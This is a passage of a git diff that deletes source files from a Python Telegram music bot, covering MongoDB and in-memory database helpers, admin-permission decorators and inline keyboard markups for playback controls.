- playmode[chat_id] = "Direct"
- return "Direct"
- playmode[chat_id] = mode["mode"]
- return mode["mode"]
- return mode
-
-
-async def set_playmode(chat_id: int, mode: str):
- playmode[chat_id] = mode
- await playmodedb.update_one(
- {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True
- )
-
-
-# language
-async def get_lang(chat_id: int) -> str:
- mode = langm.get(chat_id)
- if not mode:
- lang = await langdb.find_one({"chat_id": chat_id})
- if not lang:
- langm[chat_id] = "en"
- return "en"
- langm[chat_id] = lang["lang"]
- return lang["lang"]
- return mode
-
-
-async def set_lang(chat_id: int, lang: str):
- langm[chat_id] = lang
- await langdb.update_one(
- {"chat_id": chat_id}, {"$set": {"lang": lang}}, upsert=True
- )
-
-
-# Muted
-async def is_muted(chat_id: int) -> bool:
- mode = mute.get(chat_id)
- if not mode:
- return False
- return mode
-
-
-async def mute_on(chat_id: int):
- mute[chat_id] = True
-
-
-async def mute_off(chat_id: int):
- mute[chat_id] = False
-
-
-# Pause-Skip
-async def is_music_playing(chat_id: int) -> bool:
- mode = pause.get(chat_id)
- if not mode:
- return False
- return mode
-
-
-async def music_on(chat_id: int):
- pause[chat_id] = True
-
-
-async def music_off(chat_id: int):
- pause[chat_id] = False
-
-
-# Active Voice Chats
-async def get_active_chats() -> list:
- return active
-
-
-async def is_active_chat(chat_id: int) -> bool:
- if chat_id not in active:
- return False
- else:
- return True
-
-
-async def add_active_chat(chat_id: int):
- if chat_id not in active:
- active.append(chat_id)
-
-
-async def remove_active_chat(chat_id: int):
- if chat_id in active:
- active.remove(chat_id)
-
-
-# Active Video Chats
-async def get_active_video_chats() -> list:
- return activevideo
-
-
-async def is_active_video_chat(chat_id: int) -> bool:
- if chat_id not in activevideo:
- return False
- else:
- return True
-
-
-async def add_active_video_chat(chat_id: int):
- if chat_id not in activevideo:
- activevideo.append(chat_id)
-
-
-async def remove_active_video_chat(chat_id: int):
- if chat_id in activevideo:
- activevideo.remove(chat_id)
-
-
-# Delete command mode
-async def is_commanddelete_on(chat_id: int) -> bool:
- if chat_id not in command:
- return True
- else:
- return False
-
-
-async def commanddelete_off(chat_id: int):
- if chat_id not in command:
- command.append(chat_id)
-
-
-async def commanddelete_on(chat_id: int):
- try:
- command.remove(chat_id)
- except:
- pass
-
-
-# Clean Mode
-async def is_cleanmode_on(chat_id: int) -> bool:
- if chat_id not in cleanmode:
- return True
- else:
- return False
-
-
-async def cleanmode_off(chat_id: int):
- if chat_id not in cleanmode:
- cleanmode.append(chat_id)
-
-
-async def cleanmode_on(chat_id: int):
- try:
- cleanmode.remove(chat_id)
- except:
- pass
-
-
-# Non Admin Chat
-async def check_nonadmin_chat(chat_id: int) -> bool:
- user = await authdb.find_one({"chat_id": chat_id})
- if not user:
- return False
- return True
-
-
-async def is_nonadmin_chat(chat_id: int) -> bool:
- mode = nonadmin.get(chat_id)
- if not mode:
- user = await authdb.find_one({"chat_id": chat_id})
- if not user:
- nonadmin[chat_id] = False
- return False
- nonadmin[chat_id] = True
- return True
- return mode
-
-
-async def add_nonadmin_chat(chat_id: int):
- nonadmin[chat_id] = True
- is_admin = await check_nonadmin_chat(chat_id)
- if is_admin:
- return
- return await authdb.insert_one({"chat_id": chat_id})
-
-
-async def remove_nonadmin_chat(chat_id: int):
- nonadmin[chat_id] = False
- is_admin = await check_nonadmin_chat(chat_id)
- if not is_admin:
- return
- return await authdb.delete_one({"chat_id": chat_id})
-
-
-# Video Limit
-async def is_video_allowed(chat_idd) -> str:
- chat_id = 123456
- if not vlimit:
- dblimit = await videodb.find_one({"chat_id": chat_id})
- if not dblimit:
- vlimit.clear()
- vlimit.append(config.VIDEO_STREAM_LIMIT)
- limit = config.VIDEO_STREAM_LIMIT
- else:
- limit = dblimit["limit"]
- vlimit.clear()
- vlimit.append(limit)
- else:
- limit = vlimit[0]
- if limit == 0:
- return False
- count = len(await get_active_video_chats())
- if int(count) == int(limit):
- if not await is_active_video_chat(chat_idd):
- return False
- return True
-
-
-async def get_video_limit() -> str:
- chat_id = 123456
- if not vlimit:
- dblimit = await videodb.find_one({"chat_id": chat_id})
- if not dblimit:
- limit = config.VIDEO_STREAM_LIMIT
- else:
- limit = dblimit["limit"]
- else:
- limit = vlimit[0]
- return limit
-
-
-async def set_video_limit(limt: int):
- chat_id = 123456
- vlimit.clear()
- vlimit.append(limt)
- return await videodb.update_one(
- {"chat_id": chat_id}, {"$set": {"limit": limt}}, upsert=True
- )
-
-
-# On Off
-async def is_on_off(on_off: int) -> bool:
- onoff = await onoffdb.find_one({"on_off": on_off})
- if not onoff:
- return False
- return True
-
-
-async def add_on(on_off: int):
- is_on = await is_on_off(on_off)
- if is_on:
- return
- return await onoffdb.insert_one({"on_off": on_off})
-
-
-async def add_off(on_off: int):
- is_off = await is_on_off(on_off)
- if not is_off:
- return
- return await onoffdb.delete_one({"on_off": on_off})
-
-
-# Maintenance
-
-
-async def is_maintenance():
- if not maintenance:
- get = await onoffdb.find_one({"on_off": 1})
- if not get:
- maintenance.clear()
- maintenance.append(2)
- return True
- else:
- maintenance.clear()
- maintenance.append(1)
- return False
- else:
- if 1 in maintenance:
- return False
- else:
- return True
-
-
-async def maintenance_off():
- maintenance.clear()
- maintenance.append(2)
- is_off = await is_on_off(1)
- if not is_off:
- return
- return await onoffdb.delete_one({"on_off": 1})
-
-
-async def maintenance_on():
- maintenance.clear()
- maintenance.append(1)
- is_on = await is_on_off(1)
- if is_on:
- return
- return await onoffdb.insert_one({"on_off": 1})
-
-
-# Audio Video Limit
-
-from pytgcalls.types.input_stream.quality import (HighQualityAudio,
- HighQualityVideo,
- LowQualityAudio,
- LowQualityVideo,
- MediumQualityAudio,
- MediumQualityVideo)
-
-
-async def save_audio_bitrate(chat_id: int, bitrate: str):
- audio[chat_id] = bitrate
-
-
-async def save_video_bitrate(chat_id: int, bitrate: str):
- video[chat_id] = bitrate
-
-
-async def get_aud_bit_name(chat_id: int) -> str:
- mode = audio.get(chat_id)
- if not mode:
- return "High"
- return mode
-
-
-async def get_vid_bit_name(chat_id: int) -> str:
- mode = video.get(chat_id)
- if not mode:
- if PRIVATE_BOT_MODE == str(True):
- return "High"
- else:
- return "Medium"
- return mode
-
-
-async def get_audio_bitrate(chat_id: int) -> str:
- mode = audio.get(chat_id)
- if not mode:
- return MediumQualityAudio()
- if str(mode) == "High":
- return HighQualityAudio()
- elif str(mode) == "Medium":
- return MediumQualityAudio()
- elif str(mode) == "Low":
- return LowQualityAudio()
-
-
-async def get_video_bitrate(chat_id: int) -> str:
- mode = video.get(chat_id)
- if not mode:
- if PRIVATE_BOT_MODE == str(True):
- return HighQualityVideo()
- else:
- return MediumQualityVideo()
- if str(mode) == "High":
- return HighQualityVideo()
- elif str(mode) == "Medium":
- return MediumQualityVideo()
- elif str(mode) == "Low":
- return LowQualityVideo()
diff --git a/Champu/utils/database/mongodatabase.py b/Champu/utils/database/mongodatabase.py
deleted file mode 100644
index 851e74b..0000000
--- a/Champu/utils/database/mongodatabase.py
+++ /dev/null
@@ -1,431 +0,0 @@
-from typing import Dict, List, Union
-
-from Champu.core.mongo import mongodb
-
-queriesdb = mongodb.queries
-userdb = mongodb.userstats
-chattopdb = mongodb.chatstats
-authuserdb = mongodb.authuser
-gbansdb = mongodb.gban
-sudoersdb = mongodb.sudoers
-chatsdb = mongodb.chats
-blacklist_chatdb = mongodb.blacklistChat
-usersdb = mongodb.tgusersdb
-playlistdb = mongodb.playlist
-blockeddb = mongodb.blockedusers
-privatedb = mongodb.privatechats
-
-
-# Playlist
-
-
-async def _get_playlists(chat_id: int) -> Dict[str, int]:
- _notes = await playlistdb.find_one({"chat_id": chat_id})
- if not _notes:
- return {}
- return _notes["notes"]
-
-
-async def get_playlist_names(chat_id: int) -> List[str]:
- _notes = []
- for note in await _get_playlists(chat_id):
- _notes.append(note)
- return _notes
-
-
-async def get_playlist(chat_id: int, name: str) -> Union[bool, dict]:
- name = name
- _notes = await _get_playlists(chat_id)
- if name in _notes:
- return _notes[name]
- else:
- return False
-
-
-async def save_playlist(chat_id: int, name: str, note: dict):
- name = name
- _notes = await _get_playlists(chat_id)
- _notes[name] = note
- await playlistdb.update_one(
- {"chat_id": chat_id}, {"$set": {"notes": _notes}}, upsert=True
- )
-
-
-async def delete_playlist(chat_id: int, name: str) -> bool:
- notesd = await _get_playlists(chat_id)
- name = name
- if name in notesd:
- del notesd[name]
- await playlistdb.update_one(
- {"chat_id": chat_id},
- {"$set": {"notes": notesd}},
- upsert=True,
- )
- return True
- return False
-
-
-# Users
-
-
-async def is_served_user(user_id: int) -> bool:
- user = await usersdb.find_one({"user_id": user_id})
- if not user:
- return False
- return True
-
-
-async def get_served_users() -> list:
- users_list = []
- async for user in usersdb.find({"user_id": {"$gt": 0}}):
- users_list.append(user)
- return users_list
-
-
-async def add_served_user(user_id: int):
- is_served = await is_served_user(user_id)
- if is_served:
- return
- return await usersdb.insert_one({"user_id": user_id})
-
-
-# Served Chats
-
-
-async def get_served_chats() -> list:
- chats_list = []
- async for chat in chatsdb.find({"chat_id": {"$lt": 0}}):
- chats_list.append(chat)
- return chats_list
-
-
-async def is_served_chat(chat_id: int) -> bool:
- chat = await chatsdb.find_one({"chat_id": chat_id})
- if not chat:
- return False
- return True
-
-
-async def add_served_chat(chat_id: int):
- is_served = await is_served_chat(chat_id)
- if is_served:
- return
- return await chatsdb.insert_one({"chat_id": chat_id})
-
-
-# Blacklisted Chats
-
-
-async def blacklisted_chats() -> list:
- chats_list = []
- async for chat in blacklist_chatdb.find({"chat_id": {"$lt": 0}}):
- chats_list.append(chat["chat_id"])
- return chats_list
-
-
-async def blacklist_chat(chat_id: int) -> bool:
- if not await blacklist_chatdb.find_one({"chat_id": chat_id}):
- await blacklist_chatdb.insert_one({"chat_id": chat_id})
- return True
- return False
-
-
-async def whitelist_chat(chat_id: int) -> bool:
- if await blacklist_chatdb.find_one({"chat_id": chat_id}):
- await blacklist_chatdb.delete_one({"chat_id": chat_id})
- return True
- return False
-
-
-# Private Served Chats
-
-
-async def get_private_served_chats() -> list:
- chats_list = []
- async for chat in privatedb.find({"chat_id": {"$lt": 0}}):
- chats_list.append(chat)
- return chats_list
-
-
-async def is_served_private_chat(chat_id: int) -> bool:
- chat = await privatedb.find_one({"chat_id": chat_id})
- if not chat:
- return False
- return True
-
-
-async def add_private_chat(chat_id: int):
- is_served = await is_served_private_chat(chat_id)
- if is_served:
- return
- return await privatedb.insert_one({"chat_id": chat_id})
-
-
-async def remove_private_chat(chat_id: int):
- is_served = await is_served_private_chat(chat_id)
- if not is_served:
- return
- return await privatedb.delete_one({"chat_id": chat_id})
-
-
-# Auth Users DB
-
-
-async def _get_authusers(chat_id: int) -> Dict[str, int]:
- _notes = await authuserdb.find_one({"chat_id": chat_id})
- if not _notes:
- return {}
- return _notes["notes"]
-
-
-async def get_authuser_names(chat_id: int) -> List[str]:
- _notes = []
- for note in await _get_authusers(chat_id):
- _notes.append(note)
- return _notes
-
-
-async def get_authuser(chat_id: int, name: str) -> Union[bool, dict]:
- name = name
- _notes = await _get_authusers(chat_id)
- if name in _notes:
- return _notes[name]
- else:
- return False
-
-
-async def save_authuser(chat_id: int, name: str, note: dict):
- name = name
- _notes = await _get_authusers(chat_id)
- _notes[name] = note
-
- await authuserdb.update_one(
- {"chat_id": chat_id}, {"$set": {"notes": _notes}}, upsert=True
- )
-
-
-async def delete_authuser(chat_id: int, name: str) -> bool:
- notesd = await _get_authusers(chat_id)
- name = name
- if name in notesd:
- del notesd[name]
- await authuserdb.update_one(
- {"chat_id": chat_id},
- {"$set": {"notes": notesd}},
- upsert=True,
- )
- return True
- return False
-
-
-# Blocked Users
-
-
-async def get_gbanned() -> list:
- results = []
- async for user in gbansdb.find({"user_id": {"$gt": 0}}):
- user_id = user["user_id"]
- results.append(user_id)
- return results
-
-
-async def is_gbanned_user(user_id: int) -> bool:
- user = await gbansdb.find_one({"user_id": user_id})
- if not user:
- return False
- return True
-
-
-async def add_gban_user(user_id: int):
- is_gbanned = await is_gbanned_user(user_id)
- if is_gbanned:
- return
- return await gbansdb.insert_one({"user_id": user_id})
-
-
-async def remove_gban_user(user_id: int):
- is_gbanned = await is_gbanned_user(user_id)
- if not is_gbanned:
- return
- return await gbansdb.delete_one({"user_id": user_id})
-
-
-# Sudoers
-
-
-async def get_sudoers() -> list:
- sudoers = await sudoersdb.find_one({"sudo": "sudo"})
- if not sudoers:
- return []
- return sudoers["sudoers"]
-
-
-async def add_sudo(user_id: int) -> bool:
- sudoers = await get_sudoers()
- sudoers.append(user_id)
- await sudoersdb.update_one(
- {"sudo": "sudo"}, {"$set": {"sudoers": sudoers}}, upsert=True
- )
- return True
-
-
-async def remove_sudo(user_id: int) -> bool:
- sudoers = await get_sudoers()
- sudoers.remove(user_id)
- await sudoersdb.update_one(
- {"sudo": "sudo"}, {"$set": {"sudoers": sudoers}}, upsert=True
- )
- return True
-
-
-# Total Queries on bot
-
-
-async def get_queries() -> int:
- chat_id = 98324
- mode = await queriesdb.find_one({"chat_id": chat_id})
- if not mode:
- return 0
- return mode["mode"]
-
-
-async def set_queries(mode: int):
- chat_id = 98324
- queries = await queriesdb.find_one({"chat_id": chat_id})
- if queries:
- mode = queries["mode"] + mode
- return await queriesdb.update_one(
- {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True
- )
-
-
-# Top Chats DB
-
-
-async def get_top_chats() -> dict:
- results = {}
- async for chat in chattopdb.find({"chat_id": {"$lt": 0}}):
- chat_id = chat["chat_id"]
- total = 0
- for i in chat["vidid"]:
- counts_ = chat["vidid"][i]["spot"]
- if counts_ > 0:
- total += counts_
- results[chat_id] = total
- return results
-
-
-async def get_global_tops() -> dict:
- results = {}
- async for chat in chattopdb.find({"chat_id": {"$lt": 0}}):
- for i in chat["vidid"]:
- counts_ = chat["vidid"][i]["spot"]
- title_ = chat["vidid"][i]["title"]
- if counts_ > 0:
- if i not in results:
- results[i] = {}
- results[i]["spot"] = counts_
- results[i]["title"] = title_
- else:
- spot = results[i]["spot"]
- count_ = spot + counts_
- results[i]["spot"] = count_
- return results
-
-
-async def get_particulars(chat_id: int) -> Dict[str, int]:
- ids = await chattopdb.find_one({"chat_id": chat_id})
- if not ids:
- return {}
- return ids["vidid"]
-
-
-async def get_particular_top(
- chat_id: int, name: str
-) -> Union[bool, dict]:
- ids = await get_particulars(chat_id)
- if name in ids:
- return ids[name]
-
-
-async def update_particular_top(chat_id: int, name: str, vidid: dict):
- ids = await get_particulars(chat_id)
- ids[name] = vidid
- await chattopdb.update_one(
- {"chat_id": chat_id}, {"$set": {"vidid": ids}}, upsert=True
- )
-
-
-# Top User DB
-
-
-async def get_userss(chat_id: int) -> Dict[str, int]:
- ids = await userdb.find_one({"chat_id": chat_id})
- if not ids:
- return {}
- return ids["vidid"]
-
-
-async def get_user_top(chat_id: int, name: str) -> Union[bool, dict]:
- ids = await get_userss(chat_id)
- if name in ids:
- return ids[name]
-
-
-async def update_user_top(chat_id: int, name: str, vidid: dict):
- ids = await get_userss(chat_id)
- ids[name] = vidid
- await userdb.update_one(
- {"chat_id": chat_id}, {"$set": {"vidid": ids}}, upsert=True
- )
-
-
-async def get_topp_users() -> dict:
- results = {}
- async for chat in userdb.find({"chat_id": {"$gt": 0}}):
- user_id = chat["chat_id"]
- total = 0
- for i in chat["vidid"]:
- counts_ = chat["vidid"][i]["spot"]
- if counts_ > 0:
- total += counts_
- results[user_id] = total
- return results
-
-
-# Gban Users
-
-
-async def get_banned_users() -> list:
- results = []
- async for user in blockeddb.find({"user_id": {"$gt": 0}}):
- user_id = user["user_id"]
- results.append(user_id)
- return results
-
-
-async def get_banned_count() -> int:
- users = blockeddb.find({"user_id": {"$gt": 0}})
- users = await users.to_list(length=100000)
- return len(users)
-
-
-async def is_banned_user(user_id: int) -> bool:
- user = await blockeddb.find_one({"user_id": user_id})
- if not user:
- return False
- return True
-
-
-async def add_banned_user(user_id: int):
- is_gbanned = await is_banned_user(user_id)
- if is_gbanned:
- return
- return await blockeddb.insert_one({"user_id": user_id})
-
-
-async def remove_banned_user(user_id: int):
- is_gbanned = await is_banned_user(user_id)
- if not is_gbanned:
- return
- return await blockeddb.delete_one({"user_id": user_id})
diff --git a/Champu/utils/decorators/admins.py b/Champu/utils/decorators/admins.py
deleted file mode 100644
index 311d2f9..0000000
--- a/Champu/utils/decorators/admins.py
+++ /dev/null
@@ -1,164 +0,0 @@
-from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
-
-from config import adminlist
-from strings import get_string
-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils.database import (get_authuser_names, get_cmode,
- get_lang, is_active_chat,
- is_commanddelete_on,
- is_maintenance,
- is_nonadmin_chat)
-
-from ..formatters import int_to_alpha
-
-
-def AdminRightsCheck(mystic):
- async def wrapper(client, message):
- if await is_maintenance() is False:
- if message.from_user.id not in SUDOERS:
- return await message.reply_text(
- "Bot is under maintenance. Please wait for some time..."
- )
- if await is_commanddelete_on(message.chat.id):
- try:
- await message.delete()
- except:
- pass
- try:
- language = await get_lang(message.chat.id)
- _ = get_string(language)
- except:
- _ = get_string("en")
- if message.sender_chat:
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text="How to Fix this? ",
- callback_data="AnonymousAdmin",
- ),
- ]
- ]
- )
- return await message.reply_text(
- _["general_4"], reply_markup=upl
- )
- if message.command[0][0] == "c":
- chat_id = await get_cmode(message.chat.id)
- if chat_id is None:
- return await message.reply_text(_["setting_12"])
- try:
- await app.get_chat(chat_id)
- except:
- return await message.reply_text(_["cplay_4"])
- else:
- chat_id = message.chat.id
- if not await is_active_chat(chat_id):
- return await message.reply_text(_["general_6"])
- is_non_admin = await is_nonadmin_chat(message.chat.id)
- if not is_non_admin:
- if message.from_user.id not in SUDOERS:
- admins = adminlist.get(message.chat.id)
- if not admins:
- return await message.reply_text(_["admin_18"])
- else:
- if message.from_user.id not in admins:
- return await message.reply_text(_["admin_19"])
- return await mystic(client, message, _, chat_id)
-
- return wrapper
-
-
-def AdminActual(mystic):
- async def wrapper(client, message):
- if await is_maintenance() is False:
- if message.from_user.id not in SUDOERS:
- return await message.reply_text(
- "Bot is under maintenance. Please wait for some time..."
- )
- if await is_commanddelete_on(message.chat.id):
- try:
- await message.delete()
- except:
- pass
- try:
- language = await get_lang(message.chat.id)
- _ = get_string(language)
- except:
- _ = get_string("en")
- if message.sender_chat:
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text="How to Fix this? ",
- callback_data="AnonymousAdmin",
- ),
- ]
- ]
- )
- return await message.reply_text(
- _["general_4"], reply_markup=upl
- )
- if message.from_user.id not in SUDOERS:
- try:
- member = await app.get_chat_member(
- message.chat.id, message.from_user.id
- )
- except:
- return
- if not member.can_manage_voice_chats:
- return await message.reply(_["general_5"])
- return await mystic(client, message, _)
-
- return wrapper
-
-
-def ActualAdminCB(mystic):
- async def wrapper(client, CallbackQuery):
- if await is_maintenance() is False:
- if CallbackQuery.from_user.id not in SUDOERS:
- return await CallbackQuery.answer(
- "Bot is under maintenance. Please wait for some time...",
- show_alert=True,
- )
- try:
- language = await get_lang(CallbackQuery.message.chat.id)
- _ = get_string(language)
- except:
- _ = get_string("en")
- if CallbackQuery.message.chat.type == "private":
- return await mystic(client, CallbackQuery, _)
- is_non_admin = await is_nonadmin_chat(
- CallbackQuery.message.chat.id
- )
- if not is_non_admin:
- try:
- a = await app.get_chat_member(
- CallbackQuery.message.chat.id,
- CallbackQuery.from_user.id,
- )
- except:
- return await CallbackQuery.answer(
- _["general_5"], show_alert=True
- )
- if not a.can_manage_voice_chats:
- if CallbackQuery.from_user.id not in SUDOERS:
- token = await int_to_alpha(
- CallbackQuery.from_user.id
- )
- _check = await get_authuser_names(
- CallbackQuery.from_user.id
- )
- if token not in _check:
- try:
- return await CallbackQuery.answer(
- _["general_5"],
- show_alert=True,
- )
- except:
- return
- return await mystic(client, CallbackQuery, _)
-
- return wrapper
diff --git a/Champu/utils/decorators/play.py b/Champu/utils/decorators/play.py
deleted file mode 100644
index 2e94f3c..0000000
--- a/Champu/utils/decorators/play.py
+++ /dev/null
@@ -1,128 +0,0 @@
-from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
-
-from config import PLAYLIST_IMG_URL, PRIVATE_BOT_MODE, adminlist
-from strings import get_string
-from Champu import YouTube, app
-from Champu.misc import SUDOERS
-from Champu.utils.database import (get_cmode, get_lang,
- get_playmode, get_playtype,
- is_active_chat,
- is_commanddelete_on,
- is_served_private_chat)
-from Champu.utils.database.memorydatabase import is_maintenance
-from Champu.utils.inline.playlist import botplaylist_markup
-
-
-def PlayWrapper(command):
- async def wrapper(client, message):
- if await is_maintenance() is False:
- if message.from_user.id not in SUDOERS:
- return await message.reply_text(
- "Bot is under maintenance. Please wait for some time..."
- )
- if PRIVATE_BOT_MODE == str(True):
- if not await is_served_private_chat(message.chat.id):
- await message.reply_text(
- "**Private Music Bot**\n\nOnly for authorized chats from the owner. Ask my owner to allow your chat first."
- )
- return await app.leave_chat(message.chat.id)
- if await is_commanddelete_on(message.chat.id):
- try:
- await message.delete()
- except:
- pass
- language = await get_lang(message.chat.id)
- _ = get_string(language)
- audio_telegram = (
- (
- message.reply_to_message.audio
- or message.reply_to_message.voice
- )
- if message.reply_to_message
- else None
- )
- video_telegram = (
- (
- message.reply_to_message.video
- or message.reply_to_message.document
- )
- if message.reply_to_message
- else None
- )
- url = await YouTube.url(message)
- if (
- audio_telegram is None
- and video_telegram is None
- and url is None
- ):
- if len(message.command) < 2:
- if "stream" in message.command:
- return await message.reply_text(_["str_1"])
- buttons = botplaylist_markup(_)
- return await message.reply_photo(
- photo=PLAYLIST_IMG_URL,
- caption=_["playlist_1"],
- reply_markup=InlineKeyboardMarkup(buttons),
- )
- if message.sender_chat:
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text="How to Fix this? ",
- callback_data="AnonymousAdmin",
- ),
- ]
- ]
- )
- return await message.reply_text(
- _["general_4"], reply_markup=upl
- )
- if message.command[0][0] == "c":
- chat_id = await get_cmode(message.chat.id)
- if chat_id is None:
- return await message.reply_text(_["setting_12"])
- try:
- chat = await app.get_chat(chat_id)
- except:
- return await message.reply_text(_["cplay_4"])
- channel = chat.title
- else:
- chat_id = message.chat.id
- channel = None
- playmode = await get_playmode(message.chat.id)
- playty = await get_playtype(message.chat.id)
- if playty != "Everyone":
- if message.from_user.id not in SUDOERS:
- admins = adminlist.get(message.chat.id)
- if not admins:
- return await message.reply_text(_["admin_18"])
- else:
- if message.from_user.id not in admins:
- return await message.reply_text(_["play_4"])
- if message.command[0][0] == "v":
- video = True
- else:
- if "-v" in message.text:
- video = True
- else:
- video = True if message.command[0][1] == "v" else None
- if message.command[0][-1] == "e":
- if not await is_active_chat(chat_id):
- return await message.reply_text(_["play_18"])
- fplay = True
- else:
- fplay = None
- return await command(
- client,
- message,
- _,
- chat_id,
- video,
- channel,
- playmode,
- url,
- fplay,
- )
-
- return wrapper
diff --git a/Champu/utils/inline/play.py b/Champu/utils/inline/play.py
deleted file mode 100644
index d42e595..0000000
--- a/Champu/utils/inline/play.py
+++ /dev/null
@@ -1,331 +0,0 @@
-import random
-
-from pyrogram.types import InlineKeyboardButton
-
-selections = [
- "▁▄▂▇▄▅▄▅▃",
- "▁▃▇▂▅▇▄▅▃",
- "▃▁▇▂▅▃▄▃▅",
- "▃▄▂▄▇▅▃▅▁",
- "▁▃▄▂▇▃▄▅▃",
- "▃▁▄▂▅▃▇▃▅",
- "▁▇▄▂▅▄▅▃▄",
- "▁▃▅▇▂▅▄▃▇",
- "▃▅▂▅▇▁▄▃▁",
- "▇▅▂▅▃▄▃▁▃",
- "▃▇▂▅▁▅▄▃▁",
- "▅▄▇▂▅▂▄▇▁",
- "▃▅▂▅▃▇▄▅▃",
-]
-
-
-## After Edits with Timer Bar
-
-
-def stream_markup_timer(_, videoid, chat_id, played, dur):
- bar = random.choice(selections)
- buttons = [
- [
- InlineKeyboardButton(
- text=f"{played} {bar} {dur}",
- callback_data="GetTimer",
- )
- ],
- [
- InlineKeyboardButton(
- text=_["PL_B_2"],
- callback_data=f"add_playlist {videoid}",
- ),
- InlineKeyboardButton(
- text=_["PL_B_3"],
- callback_data=f"PanelMarkup {videoid}|{chat_id}",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["CLOSEMENU_BUTTON"], callback_data="close"
- )
- ],
- ]
- return buttons
-
-
-def telegram_markup_timer(_, chat_id, played, dur):
- bar = random.choice(selections)
- buttons = [
- [
- InlineKeyboardButton(
- text=f"{played} {bar} {dur}",
- callback_data="GetTimer",
- )
- ],
- [
- InlineKeyboardButton(
- text=_["PL_B_3"],
- callback_data=f"PanelMarkup None|{chat_id}",
- ),
- InlineKeyboardButton(
- text=_["CLOSEMENU_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-## Inline without Timer Bar
-
-
-def stream_markup(_, videoid, chat_id):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["PL_B_2"],
- callback_data=f"add_playlist {videoid}",
- ),
- InlineKeyboardButton(
- text=_["PL_B_3"],
- callback_data=f"PanelMarkup None|{chat_id}",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["CLOSEMENU_BUTTON"], callback_data="close"
- )
- ],
- ]
- return buttons
-
-
-def telegram_markup(_, chat_id):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["PL_B_3"],
- callback_data=f"PanelMarkup None|{chat_id}",
- ),
- InlineKeyboardButton(
- text=_["CLOSEMENU_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-## Search Query Inline
-
-
-def track_markup(_, videoid, user_id, channel, fplay):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["P_B_1"],
- callback_data=f"MusicStream {videoid}|{user_id}|a|{channel}|{fplay}",
- ),
- InlineKeyboardButton(
- text=_["P_B_2"],
- callback_data=f"MusicStream {videoid}|{user_id}|v|{channel}|{fplay}",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"],
- callback_data=f"forceclose {videoid}|{user_id}",
- )
- ],
- ]
- return buttons
-
-
-def playlist_markup(_, videoid, user_id, ptype, channel, fplay):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["P_B_1"],
- callback_data=f"ChampuPlaylists {videoid}|{user_id}|{ptype}|a|{channel}|{fplay}",
- ),
- InlineKeyboardButton(
- text=_["P_B_2"],
- callback_data=f"ChampuPlaylists {videoid}|{user_id}|{ptype}|v|{channel}|{fplay}",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"],
- callback_data=f"forceclose {videoid}|{user_id}",
- ),
- ],
- ]
- return buttons
-
-
-## Live Stream Markup
-
-
-def livestream_markup(_, videoid, user_id, mode, channel, fplay):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["P_B_3"],
- callback_data=f"LiveStream {videoid}|{user_id}|{mode}|{channel}|{fplay}",
- ),
- InlineKeyboardButton(
- text=_["CLOSEMENU_BUTTON"],
- callback_data=f"forceclose {videoid}|{user_id}",
- ),
- ],
- ]
- return buttons
-
-
-## Slider Query Markup
-
-
-def slider_markup(
- _, videoid, user_id, query, query_type, channel, fplay
-):
- query = f"{query[:20]}"
- buttons = [
- [
- InlineKeyboardButton(
- text=_["P_B_1"],
- callback_data=f"MusicStream {videoid}|{user_id}|a|{channel}|{fplay}",
- ),
- InlineKeyboardButton(
- text=_["P_B_2"],
- callback_data=f"MusicStream {videoid}|{user_id}|v|{channel}|{fplay}",
- ),
- ],
- [
- InlineKeyboardButton(
- text="❮",
- callback_data=f"slider B|{query_type}|{query}|{user_id}|{channel}|{fplay}",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"],
- callback_data=f"forceclose {query}|{user_id}",
- ),
- InlineKeyboardButton(
- text="❯",
- callback_data=f"slider F|{query_type}|{query}|{user_id}|{channel}|{fplay}",
- ),
- ],
- ]
- return buttons
-
-
-## Cpanel Markup
-
-
-def panel_markup_1(_, videoid, chat_id):
- buttons = [
- [
- InlineKeyboardButton(
- text="⏸ Pause", callback_data=f"ADMIN Pause|{chat_id}"
- ),
- InlineKeyboardButton(
- text="▶️ Resume",
- callback_data=f"ADMIN Resume|{chat_id}",
- ),
- ],
- [
- InlineKeyboardButton(
- text="⏯ Skip", callback_data=f"ADMIN Skip|{chat_id}"
- ),
- InlineKeyboardButton(
- text="⏹ Stop", callback_data=f"ADMIN Stop|{chat_id}"
- ),
- ],
- [
- InlineKeyboardButton(
- text="◀️",
- callback_data=f"Pages Back|0|{videoid}|{chat_id}",
- ),
- InlineKeyboardButton(
- text="🔙 Back",
- callback_data=f"MainMarkup {videoid}|{chat_id}",
- ),
- InlineKeyboardButton(
- text="▶️",
- callback_data=f"Pages Forw|0|{videoid}|{chat_id}",
- ),
- ],
- ]
- return buttons
-
-
-def panel_markup_2(_, videoid, chat_id):
- buttons = [
- [
- InlineKeyboardButton(
- text="🔇 Mute", callback_data=f"ADMIN Mute|{chat_id}"
- ),
- InlineKeyboardButton(
- text="🔊 Unmute",
- callback_data=f"ADMIN Unmute|{chat_id}",
- ),
- ],
- [
- InlineKeyboardButton(
- text="🔀 Shuffle",
- callback_data=f"ADMIN Shuffle|{chat_id}",
- ),
- InlineKeyboardButton(
- text="🔁 Loop", callback_data=f"ADMIN Loop|{chat_id}"
- ),
- ],
- [
- InlineKeyboardButton(
- text="◀️",
- callback_data=f"Pages Back|1|{videoid}|{chat_id}",
- ),
- InlineKeyboardButton(
- text="🔙 Back",
- callback_data=f"MainMarkup {videoid}|{chat_id}",
- ),
- InlineKeyboardButton(
- text="▶️",
